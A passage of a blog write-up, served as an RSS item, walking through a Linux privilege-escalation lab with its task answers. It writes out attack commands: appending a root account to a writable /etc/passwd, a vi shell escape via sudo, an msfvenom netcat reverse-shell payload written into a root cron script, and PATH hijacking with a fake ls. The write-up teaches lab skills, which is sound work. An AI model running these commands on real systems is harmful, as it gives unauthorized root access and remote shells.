&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/etc%20passwd%20perms4.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;find / -perm -200 2&amp;gt;/dev/null
ls -l /etc/passwd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;With the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;find&lt;/code&gt; command, we can look for files with concrete permissions by using the option &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-perm&lt;/code&gt;, to find files with user writing permissions we can look for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-200&lt;/code&gt;, which shows every file which permissions are set to 200 or more.&lt;/p&gt;

  &lt;p&gt;With &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2&amp;gt;/dev/null&lt;/code&gt;, we redirect the stderr (Standard Error) to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/dev/null&lt;/code&gt;, which is kind of a “black hole” that discards all the data that is writen to it.&lt;/p&gt;

  &lt;p&gt;For more info on stderr, visit &lt;a href=&quot;https://www.howtogeek.com/435903/what-are-stdin-stdout-and-stderr-on-linux/&quot;&gt;this page&lt;/a&gt;. For more info on /dev/null, check &lt;a href=&quot;https://en.wikipedia.org/wiki/Null_device&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

  &lt;p&gt;A lot of files will be shown, but since &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt; is such an important file, we should check its permissions with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ls -l&lt;/code&gt; and see that it can be writen to.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;task-5--abusing-suidsgid-files&quot;&gt;Task 5 : Abusing SUID/SGID Files&lt;/h2&gt;

&lt;p&gt;Checking for files with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SUID/SGID&lt;/code&gt; bit set is the go-to when first getting a shell on a machine if what we want is to escalata privileges.&lt;/p&gt;

&lt;p&gt;If the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SUID&lt;/code&gt; bit is set on a file, it means that the file will be executed with the same permissions as the owner of the file.
If the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SGID&lt;/code&gt; bit is set on a file, the file will be executed with the permissions of the group that owns the file.&lt;/p&gt;
&lt;p class=&quot;pink&quot;&gt;Important : SUID and SGID have different behaviour when they are set in directories&lt;/p&gt;

&lt;p&gt;In order to find files with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SUID&lt;/code&gt; bit set, we can have a look at our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LinEnum&lt;/code&gt; scan, or we can search them manually :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/find%20suid%20files5.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;find / -perm -u=s -type f 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;blockquote&gt;
  &lt;p&gt;Again, we are using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;find&lt;/code&gt; with its &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-perm&lt;/code&gt; option, this time we specify that we want any of the permission bits set (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-u=s&lt;/code&gt;) and we use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-type f&lt;/code&gt; so that it only returns files.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It seems that there is an uncommon file with the SUID bit set :&lt;/p&gt;

&lt;hr /&gt;
&lt;p class=&quot;answer&quot;&gt;Answer : /home/user3/shell&lt;/p&gt;
&lt;hr /&gt;

&lt;p&gt;Due to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shell&lt;/code&gt; having the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SUID&lt;/code&gt; set, we can execute it and gain superuser privileges on the machine :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/root5.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ls -l /home/user3/shell
./shell
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;blockquote&gt;
  &lt;p&gt;To check if a file has the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SUID/SGID&lt;/code&gt; bit set, we look at its permissions.&lt;/p&gt;

  &lt;p&gt;If they are : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rws-rwx-rwx&lt;/code&gt;, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SUID&lt;/code&gt; bit is set.&lt;/p&gt;

  &lt;p&gt;If they are : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rwx-rws-rwx&lt;/code&gt;, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SGID&lt;/code&gt; bit is set.&lt;/p&gt;

  &lt;p&gt;&lt;span class=&quot;pink&quot;&gt; Notice that they are marked with the character&lt;/span&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;s&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;task-6--exploiting-writeable-etcpasswd&quot;&gt;Task 6 : Exploiting writeable /etc/passwd&lt;/h2&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt; file stores valuable account information, &lt;span class=&quot;pink&quot;&gt;it doesn’t contain passwords&lt;/span&gt;, it contains a list of the accounts of the system and it provides information about each and every of them, such as user ID, group ID, home directory, etc.
This file needs to have read permissions because other utilities require them to work properly, however it &lt;span class=&quot;pink&quot;&gt;must not have write permissions&lt;/span&gt; except for the root account.
When a user can write in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt; file, it can lead to a security breach, which is what we are going to exploit right about now :&lt;/p&gt;

&lt;p&gt;What direction privilege escalation is the attack?&lt;/p&gt;

&lt;p&gt;&lt;span class=&quot;pink&quot;&gt;Horizontal privilege escalation&lt;/span&gt; Occurs when we take over a user who is on the same privilege level as us.&lt;/p&gt;

&lt;p&gt;&lt;span class=&quot;pink&quot;&gt;Vertical privilege escalation&lt;/span&gt; takes place when we want to access an account which privileges are higher than ours.&lt;/p&gt;

&lt;hr /&gt;
&lt;p class=&quot;answer&quot;&gt; Answer : Vertical&lt;/p&gt;
&lt;hr /&gt;

&lt;p&gt;The way to exploit the vulnerability that we have found (which is that /etc/passwd can be writen to by a non-superuser account) is adding a new line of text to /etc/passwd with the intention of creating a new account in the system, with the password that we decide, and superuser privileges.&lt;/p&gt;

&lt;p&gt;&lt;span class=&quot;pink&quot;&gt;How is the /etc/passwd structured?&amp;lt;/pink&amp;gt;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;Each line of the file refers to a user, and every line contains 7 fields, all of which separated by a colon (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:&lt;/code&gt;).
You can see the meaning of every field &lt;a href=&quot;https://linuxize.com/post/etc-passwd-file/&quot;&gt;in here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Since passwords are stored with their respective hashes and not in plain text, we will need to create a hash for our password :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/hash6.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;openssl passwd -1 -salt new 123
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;A hash is a mathematical function that converts some text input into an output of a fixed length, this function can’t be reverted (you can obtain a password’s hash, but you can’t obtain a hash’s password).&lt;/p&gt;

  &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;openssl passwd&lt;/code&gt; computes the hash of the password that we provide to it.&lt;/p&gt;

  &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-salt&lt;/code&gt; is used to provide a salt, which is a piece of data that will be taken into account when computing the hash.&lt;/p&gt;

  &lt;p&gt;Salts are really useful because the same string always generates the same hash, but with different salts, we can obtain different hashes for two identical passwords.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;
&lt;p&gt;&lt;span class=&quot;answer&quot;&gt;Answer : $1$new$p7ptkEKU1HnaHpRtzNizS1&lt;/span&gt;&lt;/p&gt;
&lt;hr /&gt;

&lt;p&gt;Now that we have our hash computed, we can create a new entry in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt; and generate a new account with elevated privileges :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/etc%20passwd%20new%20user6.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;echo new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash &amp;gt;&amp;gt; /etc/passwd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;As seen earlier, we can redirect a command’s output and write it where we please, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;gt;&amp;gt;&lt;/code&gt; operator concatenates the stdout of the command to the file that we specify.&lt;/p&gt;

  &lt;p&gt;&lt;span class=&quot;pink&quot;&gt;Be careful not to use the&lt;/span&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;gt;&lt;/code&gt; &lt;span class=&quot;pink&quot;&gt;operator, this will rewrite the whole file!&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Here we go! We have created a new user with root privileges and now we only need to log in :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/gaining%20root6.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;su new
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;blockquote&gt;
  &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;su&lt;/code&gt; stands for “switch user”, so what we have done is change our account to the one we created and voilà, we have escalated privileges.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;task-7--escaping-vi-editor&quot;&gt;Task 7 : Escaping vi editor&lt;/h2&gt;

&lt;p&gt;Another must when it comes to privilege scalation is running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo -l&lt;/code&gt; when we get a shell, this command will display what commands we can run as superuser.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/gaining%20root6.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo -l
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;
&lt;p&gt;&lt;span class=&quot;answer&quot;&gt;Answer : NOPASSWD&lt;/span&gt;&lt;/p&gt;
&lt;hr /&gt;

&lt;p&gt;Sometimes, some tools can spawn a shell, just like what happens in this case with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vi&lt;/code&gt;, we can enter the editor and use the command &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:sh!&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For more info on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vi&lt;/code&gt;, I like &lt;a href=&quot;https://www.computerhope.com/unix/uvi.htm&quot;&gt;this site&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/root7.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo vi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;blockquote&gt;
  &lt;p&gt;we execute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vi&lt;/code&gt; as superuser (because we saw that we have that privilege).&lt;/p&gt;

  &lt;p&gt;once inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vi&lt;/code&gt;, we can spawn the shell and it will be run as root&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;task-8--exploiting-crontab&quot;&gt;Task 8 : Exploiting crontab&lt;/h2&gt;

&lt;p&gt;As mentioned at the beginning, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cron&lt;/code&gt; is a daemon (background process) that automates tasks. By looking at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/crontab&lt;/code&gt;, we can see which tasks are scheduled and research for anything of interest.&lt;/p&gt;

&lt;p&gt;Thanks to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LinEnum&lt;/code&gt; scan, we found that there is a script called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;autoscript.sh&lt;/code&gt; that is set to run as root every 5 minutes and it has writing permissions.&lt;/p&gt;

&lt;p&gt;&lt;span class=&quot;pink&quot;&gt;What is a payload?&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;A payload is the piece of code that we want the target to run, there are multiples types of payloads, which you can learn about &lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/payloads/&quot;&gt;in here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The path to scalating privileges here is to craft a payload that gets us a reverse shell (which will have root privileges because the script runs as root) and modify the script by inserting this payload in it.&lt;/p&gt;

&lt;p&gt;We will need to create a payload in order to insert it in the script, and the tool we’re using is called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msfvenom&lt;/code&gt;, it is a really complete and complex tool, and you can learn more about it &lt;a href=&quot;https://www.hackingarticles.in/msfvenom-tutorials-beginners/&quot;&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/msfvenom%20man8.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msfvenom man | grep payload
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;Trying to find which option allows us to specify a payload&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;
&lt;p&gt;&lt;span class=&quot;answer&quot;&gt;Answer : -p&lt;/span&gt;&lt;/p&gt;
&lt;hr /&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/msfvenom%20payload8.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msfvenom -p cmd/unix/reverse_netcat lhost=&amp;lt;YOUR MACHINE'S @IP&amp;gt; lport=8888 R
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;We create the payload for a reverse shell and we want it to connect to port 8888.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If we don’t remember where the script is, we can just look for it :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/find%20autoscript8.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;find / -name autoscript.sh 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;Once again showing how useful &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;find&lt;/code&gt; is, now with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-name&lt;/code&gt; switch, which lets us search a file by its name.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;
&lt;p&gt;&lt;span class=&quot;answer&quot;&gt;Answer : /home/user4/Desktop/autoscript.sh&lt;/span&gt;&lt;/p&gt;
&lt;hr /&gt;

&lt;p&gt;We know where the script is now, so we need to rewrite its content with our payload :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/write%20payload%20in%20autoscript8.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;echo mkfifo /tmp/zxfbetj; nc &amp;lt;YOUR MACHINE'S @IP&amp;gt; 8888 0&amp;lt;/tmp/zxfbetj | /bin/sh &amp;gt;/tmp/zxfbetj 2&amp;gt;&amp;amp;1; rm /tmp/zxfbetj &amp;gt; autoscript.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;Notice that we use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;gt;&lt;/code&gt; operator, because this time we do want to rewrite the file.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;What &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;autoscript.sh&lt;/code&gt; now does, is generating a shell with root privileges in the @IP that we specified, and this script is run every 5 minutes, so now we will start a listener in our local machine and wait for the shell to spawn!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/root8.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nc -lvp 8888
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;blockquote&gt;
  &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nc&lt;/code&gt; is a pretty simple tool that is used to exchange data in the network.&lt;/p&gt;

  &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-lvp&lt;/code&gt; is a combination of the options &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-l&lt;/code&gt;, used to start a listener server, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-v&lt;/code&gt;, used to increment the verbose of the output and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-p&lt;/code&gt;, which lets us select the port that we want to open.&lt;/p&gt;

  &lt;p&gt;After waiting for a maximum of 5 minutes, the shell should spawn.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;task-9--exploiting-path-variable&quot;&gt;Task 9 : Exploiting PATH Variable&lt;/h2&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$PATH&lt;/code&gt; variable is an environmental variable that indicates which directories contain executable programs, this way when you run a program that’s in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$PATH&lt;/code&gt; variable, you don’t need to know the path to the program in order to use it.&lt;/p&gt;

&lt;p&gt;Imagine this time we have a binary that we can execute with elevated privileges (because it has the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SUID&lt;/code&gt; bit set &lt;span class=&quot;pink&quot;&gt;;)&lt;/span&gt;), however, this binary doesn’t provide a way of spawning a shell (like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vi&lt;/code&gt; in task 7).&lt;/p&gt;

&lt;p&gt;What we can do is create a binary with the same name than an already existing one, but locate it in a different place (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp&lt;/code&gt; for example). Afterwards we can modify the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$PATH&lt;/code&gt; variable and tell it that the location of the binary (the original one) is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;span class=&quot;pink&quot;&gt;Do you see what we are doing?&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;Now when we run the program, the system will check the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$PATH&lt;/code&gt; and it will run the one that we created with escalated privileges, instead of the original one.&lt;/p&gt;

&lt;p&gt;Checking that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;script&lt;/code&gt; has the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SUID&lt;/code&gt; bit set :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/script%20perms9.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ls -l script
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;script&lt;/code&gt; file in user5’s home directory :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/executing%20script9.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./script
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;When running the file, we see that it lists the contents of the current directory.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;span class=&quot;answer&quot;&gt;Answer : ls&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;Like we said, we will create an imitation of this script and name it &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ls&lt;/code&gt;, giving it executable permissions :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/creating%20imitation9.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cd /tmp
echo &quot;/bin/bash&quot; &amp;gt; ls
chmod +x ls
ls -l
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;blockquote&gt;
  &lt;p&gt;All of the commands have been explained in detail through this write-up, but what we have accomplished is to create a script named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ls&lt;/code&gt; that spawns a shell when executed.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We have created the imitation, now we want to add its location to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$PATH&lt;/code&gt; :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/path9.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;export PATH=/tmp:$PATH
echo $PATH
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;We add &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp&lt;/code&gt; and check that we have done it correctly.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The last step is to run the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;script&lt;/code&gt;, which will be run as root because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ls&lt;/code&gt; is contained in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$PATH&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;script&lt;/code&gt; executes with superuser privileges.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/root9.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;thank-you-for-reading-my-write-up&quot;&gt;Thank you for reading my write-up!&lt;/h2&gt;

&lt;p&gt;I really hope you enjoyed it and learnt something ;)&lt;/p&gt;

&lt;style&gt;
  .border {   
  border-width: 0px;
  border-color: #7FFF00;
  border-style: groove;
  box-shadow: 0px 0px 8px #ADFF2F} 
 .answer {
 text-shadow : 0px 0px 4px #ADFF2F }
 .pink {
 text-shadow : 0px 0px 4px #ff6699 }
&lt;/style&gt;

</description>
        <pubDate>Wed, 24 Mar 2021 00:00:00 +0000</pubDate>
        <link>https://peixetlift.github.io//Common-Linux-PrivEsc</link>
        <link href="https://peixetlift.github.io/Common-Linux-PrivEsc"/>
        <guid isPermaLink="true">https://peixetlift.github.io/Common-Linux-PrivEsc</guid>
      </item>
    
  </channel>
</rss>
